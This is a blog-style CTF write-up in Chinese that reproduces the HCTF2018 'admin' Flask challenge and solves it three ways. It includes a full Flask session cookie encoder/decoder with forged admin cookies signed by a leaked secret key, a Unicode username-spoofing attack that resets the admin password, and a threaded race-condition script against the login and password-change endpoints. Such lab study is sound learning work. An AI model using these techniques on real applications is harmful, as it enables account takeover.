HCTF2018-admin

HCTF2018 Web题admin复现,把三种解法都试了下

前言

在github上找到一些CTF web题的docker,准备拿来复现学习学习。专门搞了个腾讯云学生机搭docker。
题目github地址:
https://github.com/m0xiaoxi/CTF_Web_docker
https://github.com/CTFTraining/CTFTraining

这题是HCTF2018里的admin


审题

docker搭好后,访问一下题目,理一下系统结构,如下图。

简单测试一圈下来,发现有login、register功能,随便注册一个账号然后登录,发现登录上去后有post、change password、logout功能。

然后在index页面源码发现提示,you are not admin,估计题目是让我们登录成admin,然后出flag,于是想到change password功能,可能可以通过改密码功能的漏洞改掉admin密码,然后以admin登录。

于是跳到change password页面,看看有没有进一步的发现,也是在网页源代码处发现了提示,这个提示直接把网站项目的github地址给了出来。

于是顺藤摸瓜,去github上找一下网站源码,然后进行代码审计。github地址:https://github.com/woadsl1234/hctf_flask
代码结构简单如下图

是一个flask项目,那就直接先奔路由去看一下,打开route.py,看一下index的注册函数代码

1
2
3
4
@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')

发现index注册函数没做什么处理,直接返回index.html渲染模版,于是我们看一下templates/index.html代码

1
2
3
4
5
6
7
8
9
10
11
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

发现真的是要登录成admin才能得到flag。于是继续看向route.py文件,看看login和change password的注册函数处理代码是怎么写的。route.py部分函数代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
@app.route('/register', methods = ['GET', 'POST'])
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))

form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
logout_user()
return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)

接下来就进入代码审计,出flag环节了,下面就把三种解法分别讲下。

解法一 —— flask session 伪造

flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
具体参考:https://www.leavesongs.com/PENETRATION/client-session-security.html

我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码

1
2
3
4
5
6
import os

class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

估计ckj123就是SECRET_KEY,所以session伪造这条路可行,于是到github上面找找看有没有flask session加密的脚本。

把脚本down下来,然后执行,脚本代码如下。flask_session_manager.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

脚本有解密、加密两种功能,具体用法如下
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

解密功能演示如下,把我们登录成功页面的cookie的session复制下来,.eJw9kE-LwjAUxL_K8s4e0j_iInjYJVoqvISWtJJciltrmzRxoSp1K373zbrgbWDe-zEzd6iOQ3PuYHkZrs0MKn2A5R3evmAJiuZOmvWIorPosoiJUiMtezmlN2aYlVNBGE3nXKQToxlhpiAqKX7QbA2ag5GiM5y2AROSYIgB2xU3KbJIOtVh8qeLkdE6lqKeM7HVuFvHXFj_s_b83Miw1Mp01t8RpG0kd9nE6UZzWoQYMp9l2ythnRTpCh4zqM_Dsbp8983pVYFTjDHMPQZHaTZGJcrrT4eiHeXUEjS9r9WHPCktTm3g40bsY_XEabdvmxcpNxgfxn_ntHfeAKeHfW2bxeIdZnA9N8NzPAgIPH4BSzZuKg.XPPM0g.R-SQaZ-c92TXQB_37gFu8JabVUs,然后放进脚本参数位置,如下图。

得到解密后的session格式如下
{'_fresh': True, '_id': b'd4fb1018e2d755b05dc2163ec54429923444654de222c27ca8c8855643c55e1a47bfa0e1a50478a7952b1a899c81164ccebf8ea54087ad381b8563cb02de9fa2', 'csrf_token': b'8383dbf30b1cdfbf0f180c842975968ee3858874', 'image': b'F38w', 'name': 'miracle778', 'user_id': '10'}

把其中的name项的值改为admin后,再作为-t的参数进行session加密,如下图

得到签名后的admin session
.eJw9kE-LwjAQxb_KMmcP6R8vgoddoqXCJLSkleQiamubaeNCVepW_O6bdcHbgzfz4733gN1pqC8tLK7DrZ7BzlaweMDHARZgeO40rUZUbY8ui4QqLfKy01N6FyR6PRVM8HQuVToJnjFBBTNJ8YO0IaSKtGpJ8iYQSjMMMRDb4q5VFmlnWkz-dDEKfoy1Os6F2ljcrmKpev-z8vycdFhaQ23v7xjyJtLbbJJ8bSUvQgyFz7LpjOqdVukSnjM4XobT7vrd1ed3BckxxjD3GBw1rckkxusvh6oZ9dQwpM7X6kKZlD1OTeDjRuJz-cJZt2_qNyknjKvx3znvnTdgXzl7hhncLvXw2g0CBs9fJX1ssA.XPPSPQ.UZ-MG3ZUrN4nJzOXIsfjGdeiyLc

用这个替换掉index页面的cookie值,即可成功伪造session,”变成admin”,得到flag

关于这个脚本,其实在运行的时候,我发现了点问题,就是当你解密的时候,要用到 -s -c两个参数,linux下,可以用'"包围,而windows下只能用",否则会报错。然后加密的话,windows能够生成加密后的session,但是用它来替换掉index页面的session的话不起作用(亲测),一开始我在windows下面试的,结果一致出不来flag,后面突然想到用linux试一下,才发现这个问题(2333)。然后每次加密生成的session是不一样的,猜测应该是里面加入了时间戳信息。

然后其实加密的时候 -t参数没必要写这么长,我们可以看到index.html里代码是,只要session['name']==admin即可,所以我们可以用
python flask_session_manager.py encode -s 'ckj123' -t "{'name':'admin','user_id':'10'}"
生成session,eyJfZnJlc2giOmZhbHNlLCJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoiMTAifQ.XPPVVw.PEoVwVpFka6CBxToJEUY2s7ydLE
也能得到flag。


解法二 —— Unicode欺骗

这个解法好像才是这个题目想要考查的点,我们可以发现,不管是login、register还是change页面,只要是关于session[‘name’]的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2),版本差距这么大,估计是存在什么漏洞,于是搜索一下nodeprep.prepare,找到一篇unicode安全的文章,https://paper.tuisec.win/detail/a9ad1440249d95b

这里原理就是利用nodeprep.prepare函数会将unicode字符转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可。

我们发现在改密码函数代码里,也用到了nodeprep.prepare函数,也就是说,我们在这里改密码的话,先会把username改为admin,从而改掉admin的密码。

然后用admin和改的密码的登录,即可获取flag。


解法三 —— 条件竞争

仔细观察源码,可以发现login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值

我们可以这样设想,一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session[‘name’]改成了admin。

所以就可以编写脚本进行条件竞争,条件竞争结束的标志为进程2登录操作成功,即重定向到/index

不过没有跑出来,可能是买的学生机性能不行,脚本跑的时候抛出拒绝连接、连接失败等异常。没跑出来,但是思路应该是正确的。下面就把代码贴下吧,这个代码也是参考来了,就那几步,可能代码也不行,导致没跑出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import threading
import requests
import time

def login(s,username,password):
data = {
'username':username,
'password':password,
'submit':''
}
r = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
return r

def logout(s):
s.get('http://13x.xx7.xx.xxx:9999/logout')

def change_pwd(s,newpass):
data = {
'newpassword':newpass
}
s.post('http://13x.xx7.xx.xxx:9999/change',data=data)

def func1(s):
try:
login(s,'Miracle778','Miracle778')
change_pwd(s,'Miracle778')
except Exception:
pass

def func2(s):
try:
logout(s)
r = login(s,'admin','Miracle778')
if '<a href="/index">/index</a>' in r.text:
print(r.text)
exit(0)
except Exception:
pass

for i in range(10000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1,args=(s,))
t2 = threading.Thread(target=func2,args=(s,))
t2.start()
t1.start()


小结

这道题三种解法,学到东西挺多的,以后要多多复现经典题目2333~


参考

https://www.anquanke.com/post/id/164086#h3-13

ヾノ≧∀≦)o 来呀!快活呀!~
-------- 本文结束 --------